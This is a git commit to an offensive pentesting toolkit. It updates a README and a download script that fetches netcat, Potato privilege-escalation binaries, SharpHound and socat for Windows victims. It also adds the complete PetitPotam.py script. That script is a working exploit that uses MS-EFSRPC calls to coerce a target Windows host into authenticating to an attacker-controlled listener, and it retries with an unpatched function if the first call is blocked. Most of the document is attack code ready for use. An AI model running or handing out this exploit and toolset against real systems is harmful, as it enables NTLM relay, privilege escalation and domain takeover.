This commit is contained in:
Roman Hergenreder 2024-02-14 13:00:30 +01:00
parent 1b679b0c37
commit 5006819532
11 changed files with 656 additions and 180 deletions

0
PetitPotam.py Executable file → Normal file

@ -38,6 +38,7 @@ Can be deployed on victim machines to scan the intranet.
- pingscan.py: small python script, which can detect internal hosts via ping probes natively.
Can be deployed on victim machines to scan the intranet.
- [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket)
- [socat](https://github.com/3ndG4me/socat)
### Reverse Shell: Payloads
- rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...)
@ -73,6 +74,8 @@ Can be deployed on victim machines to scan the intranet.
- [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
- [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell)
- [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to @alwayslucky)
- [PetitPotam.py](https://github.com/topotam/PetitPotam)
- [socat.exe](https://github.com/3ndG4me/socat)
### Example API-Usage
TODO: Add some example code or bash commands on how to use the custom libraries, e.g. fileserver, xss_handler, etc.

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@ -50,6 +50,7 @@ download https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh LinEnum.sh
download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py
echo ""
echo "Updating LinPEAS + WinPEAS…"
peas_version=$(get_latest_version carlospolop/PEASS-ng)
if [ ! -z "$peas_version" ]; then
@ -62,7 +63,20 @@ else
echo "Unable to determine latest PEAS version"
fi
echo "Updating Chisel…"
# TODO: add others
echo ""
echo "Updating windows tools…"
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py win/PetitPotam.py
echo ""
chisel_version=$(get_latest_version jpillora/chisel v)
if [ ! -z "$chisel_version" ]; then
echo "Got Chisel version: $chisel_version"
@ -74,19 +88,17 @@ else
echo "Unable to determine latest chisel version"
fi
# TODO: add others
echo "Updating windows tools…"
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v)
if [ ! -z "$sharphound_version" ]; then
echo "Got Chisel version: $sharphound_version"
echo "Got Sharphound version: $sharphound_version"
download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1
fi
socat_version=$(get_latest_version "3ndG4me/socat" v)
if [ ! -z "$socat_version" ]; then
echo "Got socat version: $socat_version"
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.bin socat
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.bin socat64
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.exe win/socat.exe
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.exe win/socat64.exe
fi

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win/PetitPotam.py Normal file

@ -0,0 +1,461 @@
#!/usr/bin/env python
#
# Author: GILLES Lionel aka topotam (@topotam77)
#
# Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends!
# "Most of" the code stolen from dementor.py from @3xocyte ;)
import sys
import argparse
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
show_banner = '''
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
'''
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# STRUCTURES
################################################################################
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
class EFS_EXIM_PIPE(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
class EFS_HASH_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
structure = (
('Type', DWORD),
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_HASH_BLOB),
('Display', LPWSTR),
)
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_CERTIFICATE_BLOB),
)
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
align = 1
structure = (
('Cert', DWORD),
('Users', ENCRYPTION_CERTIFICATE_HASH),
)
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
structure = (
('Type', DWORD),
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
('Certif', ENCRYPTION_CERTIFICATE),
('Blob', EFS_RPC_BLOB),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
################################################################################
# RPC CALLS
################################################################################
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
('fileName', WSTR),
('Flag', ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
('hContext', EXIMPORT_CONTEXT_HANDLE),
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4
structure = (
('FileName', WSTR),
)
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcDecryptFileSrv(NDRCALL):
opnum = 5
structure = (
('FileName', WSTR),
('Flag', ULONG),
)
class EfsRpcDecryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcQueryUsersOnFile(NDRCALL):
opnum = 6
structure = (
('FileName', WSTR),
)
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcQueryRecoveryAgents(NDRCALL):
opnum = 7
structure = (
('FileName', WSTR),
)
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcRemoveUsersFromFile(NDRCALL):
opnum = 8
structure = (
('FileName', WSTR),
('Users', ENCRYPTION_CERTIFICATE_HASH_LIST)
)
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcAddUsersToFile(NDRCALL):
opnum = 9
structure = (
('FileName', WSTR),
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST)
)
class EfsRpcAddUsersToFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcFileKeyInfo(NDRCALL):
opnum = 12
structure = (
('FileName', WSTR),
('infoClass', DWORD),
)
class EfsRpcFileKeyInfoResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
opnum = 13
structure = (
('SrcFileName', WSTR),
('DestFileName', WSTR),
('dwCreationDisposition', DWORD),
('dwAttributes', DWORD),
('RelativeSD', EFS_RPC_BLOB),
('bInheritHandle', BOOL),
)
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcAddUsersToFileEx(NDRCALL):
opnum = 15
structure = (
('dwFlags', DWORD),
('Reserved', EFS_RPC_BLOB),
('FileName', WSTR),
('dwAttributes', DWORD),
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST),
)
class EfsRpcAddUsersToFileExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcFileKeyInfoEx(NDRCALL):
opnum = 16
structure = (
('dwFileKeyInfoFlags', DWORD),
('Reserved', EFS_RPC_BLOB),
('FileName', WSTR),
('InfoClass', DWORD),
)
class EfsRpcFileKeyInfoExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcGetEncryptedFileMetadata(NDRCALL):
opnum = 18
structure = (
('FileName', WSTR),
)
class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcSetEncryptedFileMetadata(NDRCALL):
opnum = 19
structure = (
('FileName', WSTR),
('OldEfsStreamBlob', EFS_RPC_BLOB),
('NewEfsStreamBlob', EFS_RPC_BLOB),
('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE),
)
class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileExSrv(NDRCALL):
opnum = 21
structure = (
('FileName', WSTR),
('ProtectorDescriptor', WSTR),
('Flags', ULONG),
)
class EfsRpcEncryptFileExSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
#class EfsRpcQueryProtectors(NDRCALL):
# opnum = 21
# structure = (
# ('FileName', WSTR),
# ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST),
# )
#class EfsRpcQueryProtectorsResponse(NDRCALL):
# structure = (
# ('ErrorCode', ULONG),
# )
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse),
5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse),
6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse),
7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse),
8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse),
9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse),
12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse),
13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse),
15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse),
16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse),
18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse),
19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse),
21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse),
# 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse),
}
class CoerceAuth():
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp):
binding_params = {
'lsarpc': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'efsr': {
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
},
'samr': {
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'lsass': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'netlogon': {
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
if targetIp:
rpctransport.setRemoteHost(targetIp)
dce = rpctransport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
try:
dce.connect()
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
#sys.exit()
return
print("[+] Connected!")
print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
#sys.exit()
return
print("[+] Successfully bound!")
return dce
def EfsRpcOpenFileRaw(self, dce, listener):
print("[-] Sending EfsRpcOpenFileRaw!")
try:
request = EfsRpcOpenFileRaw()
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
request['Flag'] = 0
#request.dump()
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
#sys.exit()
return None
if str(e).find('rpc_s_access_denied') >= 0:
print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
print('[+] OK! Using unpatched function!')
print("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
pass
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
def main():
parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()")
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
parser.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all')
parser.add_argument('listener', help='ip address or hostname of listener')
parser.add_argument('target', help='ip address or hostname of target')
options = parser.parse_args()
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
print(show_banner)
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
from getpass import getpass
options.password = getpass("Password:")
plop = CoerceAuth()
if options.pipe == "all":
all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass']
else:
all_pipes = [options.pipe]
for all_pipe in all_pipes:
print("Trying pipe", all_pipe)
dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
if dce is not None:
plop.EfsRpcOpenFileRaw(dce, options.listener)
dce.disconnect()
sys.exit()
if __name__ == '__main__':
main()

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